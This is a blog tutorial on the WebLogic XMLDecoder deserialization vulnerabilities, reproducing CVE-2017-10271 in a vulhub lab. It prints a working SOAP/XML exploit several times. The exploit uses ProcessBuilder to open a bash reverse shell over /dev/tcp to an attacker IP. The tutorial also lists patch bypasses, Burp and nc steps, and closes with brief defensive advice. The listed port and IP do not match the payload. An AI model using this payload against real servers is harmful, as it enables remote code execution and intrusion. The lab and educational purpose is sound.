Vulnerability principle

This article introduces the principle of the vulnerability related to Weblogic XMLDecoder deserialization, and reproduces it on vulhub by taking CVE-2017-10271 as an example. The deserialization vulnerabilities of Weblogic XMLDecoder include CVE-2017-3506, CVE-2017-10271, CVE-2019-2725, CVE-2019-2729, etc. The principles of the vulnerabilities are similar. This article briefly introduces them, and in this section A comparison of four vulnerabilities (affected version, url path, protection bypass method) is given. Here first briefly introduce the background knowledge related to Weblogc XMLDecoder.

Weblogic

Purpose: Web middleware for parsing java and deploying large-scale distributed web applications.

Default port: 7001

Historical vulnerabilities: XMLDecode deserialization vulnerabilities, deserialization vulnerabilities, weak password war package upload, SSRF, etc. This article only introduces XMLDecode deserialization vulnerabilities

What is XMLDecoder for?

XMLDecoder/XMLEncoder is an XML format serialization persistence scheme added in JDK1.4, using XMLEncoder to generate XML documents representing JavaBeans components (beans), and using XMLDecoder to read XML documents created using XMLEncoder to obtain JavaBeans. In short, it is used to parse XML documents .

Introduction to the Principle of Weblogic XMLDecoder Deserialization Vulnerability

The WLS Security component of Weblogic provides webservice services to the outside world. XMLDecoder is used to parse the XML (SOAP protocol) data passed in by users. A deserialization vulnerability occurs during the parsing process, resulting in arbitrary code execution. The package in question is wls-wsat, _async

The deserialization vulnerabilities of Weblogic XMLDecoder include CVE-2017-3506, CVE-2017-10271, CVE-2019-2725, and CVE-2019-2729. Tags, here is a comparison.

Weblogic XMLDecoder Vulnerability Comparison
Vulnerability number	Affected version	url path	patch/bypass
CVE-2017-3506	10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2	/wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wlswsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11 /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11	The patch filters the object tag, which can be bypassed with the void tag
CVE-2017-10271	10.3.6.0 12.1.3.0 12.2.1.1 12.2.1.2	ditto	The patch filters new and method tags, and void can only be followed by index, and array can be followed by class, provided that the bytes type
CVE-2019-2725	10.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4 14.1.1.0	/_async/AsyncResponseService /_async/AsyncResponseServiceJms /_async/AsyncResponseServiceHttp	The blacklist disables the class tag, which can be bypassed with <array method="forName">
CVE-2019-2729	10.3.6.0 12.1.3.0 12.2.1.3	ditto

Vulnerability recurrence (CVE-2017-10271)

Reproduction process (vulhub)

This article takes CVE-2017-10271 as an example, and uses the vulhub shooting range to reproduce the vulnerability. The goal is to obtain a rebound shell.

Target machine: Ubuntu 192.168.200.129

Attacker: kali 192.168.200.131

It doesn’t matter whether the attack plane or the target plane is Kali or Ubuntu. The attack plane is used to receive the rebound shell, and the target plane should be the docker started on Ubuntu. First start the vulhub shooting range, cd vulhub/weblogic/CVE-2017-10271, and then execute the following command to start:

docker-compose up –d

docker ps view process, has been successfully started, the port is 7001

docker ps

Access the target machine ip:7001 with the browser, and you can see the following 404 page, indicating that the environment is successfully built.

There are many paths where the weblogic XMLDecoder deserialization vulnerability occurs. The specific path has been given in the vulnerability principle section. Here, choose the first one . wsat/CoordinatorPortType, the page is as follows:

Grab the GET request to access this page that may trigger the XMLDecoder deserialization vulnerability (BurpSuite grabs a package), and you can see the HTTP request as shown below:

Send this package to the Repeater, and change the package to add poc later. Now we open an nc monitor in the attack machine kali, listening on port 6666, to receive the rebound shell (readers can also choose other ports)

Change the package, change the HTTP GET request captured just now, change the request method to POST, and then add the malicious code of the rebound shell, pay attention to change the Content-Type to text/xml. Add the poc in the following XML format to the request body. As for why this poc is written like this, it will be explained later.

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
        <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
                </array>
              <void method="start"></void>
            </object>
        </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

The complete request package is as follows:

Pay attention to the place where the horizontal line is drawn in the above figure, change the ip of the bounce shell to the ip of your receiving bounce shell, and change the port to the port that nc listened to just now. After changing the packet, send a request, and the status code of the response packet is 500, as shown in the figure below. If the response packet is as shown in the figure below, the exploit is successful.

Back to the nc monitoring of the attacking machine just now, the rebound shell has been received, and two commands ls and whoami are executed here to verify:

So far the vulnerability has successfully reproduced, don’t forget to docker-compose down to close the range

docker-compose down

The structure of poc

Here is a brief explanation of the construction principle of poc. The malicious XML data is as follows:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
        <java class="java.beans.XMLDecoder">
            <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
                </array>
              <void method="start"></void>
            </object>
        </java>
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>

The first three lines and the last three numbers of this POC are mainly the protocol specification of SOAP. SOAP provides a simple and lightweight mechanism for exchanging structured and typed information in a decentralized or distributed environment in XML form. For specific content, readers can check the information by themselves, and will not explain it here. What we focus on is the content in the middle. Next, we will introduce each tag of XML in turn.

java tag

<java class="java.beans.XMLDecoder">

This tag uses XMLEncoder to generate XML documents representing JavaBeans components (beans), and uses XMLDecoder to read XML documents created using XMLEncoder to obtain JavaBeans.

object tag

<object class="java.lang.ProcessBuilder">

The object is represented by the <object> tag, and its class attribute specifies the specific class (used to call its internal method). Here is the ProcessBuilder class. ProcessBuilder can be used to execute cmd commands. Call the start() method of ProcessBuilder to start the process, and start will Introduced in the follow-up label void.

array tag/void tag

<array class="java.lang.String" length="3">
                    <void index="0"><string>/bin/bash</string></void>
                    <void index="1"><string>-c</string></void>
                    <void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.219.134/4444 0&gt;&amp;1</string></void>
</array>

The array is represented by the <array> tag, the class attribute specifies the specific class, here is a string, and the index attribute of the void tag is used inside the array tag to specify the array index assignment, which is equivalent to creating a string array with a length of 3 , the contents of the three elements are equivalent to:

str[0] = '/bin/bash'
str[1] = '-c'
str[2] = 'bash -i >& /dev/tcp/192.168.219.134/4444'

Among them, str[0] indicates the position of the cmd command, str[1] indicates execution, and str[2] indicates the specific command to execute. Note that the statements of the rebound shell need to be encoded, otherwise a format error will occur when parsing XML.

<void method="start"></void>

The start method in the void tag is a method of the aforementioned ProcessBuilder class. Calling the start() method of ProcessBuilder can start the process of command execution.

Thinking and Summary

The WLS Security component of Weblogic provides webservice services to the outside world. XMLDecoder is used to parse the XML (SOAP protocol) data passed in by users. A deserialization vulnerability occurs during the parsing process, resulting in arbitrary code execution. The packages in question are wls-wsat, _async.

defensive thinking

How to prevent weblogic vulnerabilities from being maliciously exploited by attackers?

1. Update the component version of weblogic to avoid using the vulnerable version.

2. Uninstall packages that may cause vulnerabilities, such as wls-wsat, _async, etc., or prohibit access to these pages.

3. Deploy network protection equipment. If the requested data contains xml data, it must be strictly filtered to avoid executing malicious commands.

Since I am a novice who has just started to get started with Internet security, and I don't know much about java code, I can't explain it to you in detail from the code level. Weblogic is a common web middleware for deploying large-scale distributed web applications. Its vulnerabilities have a wide impact and are still commonly used in penetration attacks. Understanding weblogic-related vulnerabilities is a prerequisite for protection.

In the follow-up blogs, I may write some articles about web vulnerabilities, emergency response and wireshirk traffic analysis, and I hope readers will support them!

Weblogic XMLDecoder Deserialization Vulnerability Principle and Vulnerability Reappearance (Based on Vulhub, Nanny-level Detailed Tutorial)